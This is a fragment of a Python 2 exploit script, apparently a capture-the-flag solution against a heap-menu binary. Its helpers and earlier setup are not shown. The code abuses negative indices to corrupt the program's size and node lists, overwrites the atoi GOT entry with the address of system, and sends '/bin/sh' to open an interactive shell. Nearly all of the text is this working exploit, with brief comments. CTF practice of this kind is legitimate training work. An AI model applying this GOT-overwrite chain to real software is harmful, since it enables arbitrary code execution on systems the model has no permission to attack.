#create smallbins list
size = 0x80
for i in range(0, 2):
create(size, i, chr(ord('a') + i) * size)
#change g_size_list to expand heap size to overflow
create(size, -2, chr(ord('a') + 2) * size)
#edit g_node_list[0] to rewrite g_node_list[0] to control more big range data
g_node_list0 = g_node_list - 0x30
edit(0, p64(1) + p64(0) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewrite g_node_list0 to expand range'
#edit g_node_list[0] to rewrite g_size_list to a pointer which(@got addr mid) can expand the g_node_list[i] size, then put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]
got_free = 0x602018
got_atoi = 0x602058
got_addr_mid = 0x602038
edit(0, p64(got_free) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'rewite g_size_list and put free@got to g_node_list[-3] and atoi@got to g_node_list[-1]'
#edit g_node_list[0] to put atoi@got to g_node_list[-3] (because g_node_list[-1] have been free the the flag is 0), then edit g_node_list[-3] to rewrite atoi@got to system adress and finally get shell
edit(0, p64(got_atoi) + p64(1) + p64(got_addr_mid) + p64(1) + p64(got_atoi) + p64(1) + p64(g_node_list0) + p64(1))
print 'reput atoi@got to g_node_list[-3]'
edit(-3, p64(addr_system), False)
print 'rewrite atoi@got to system address'
target.sendline("/bin/sh\x00")
target.interactive()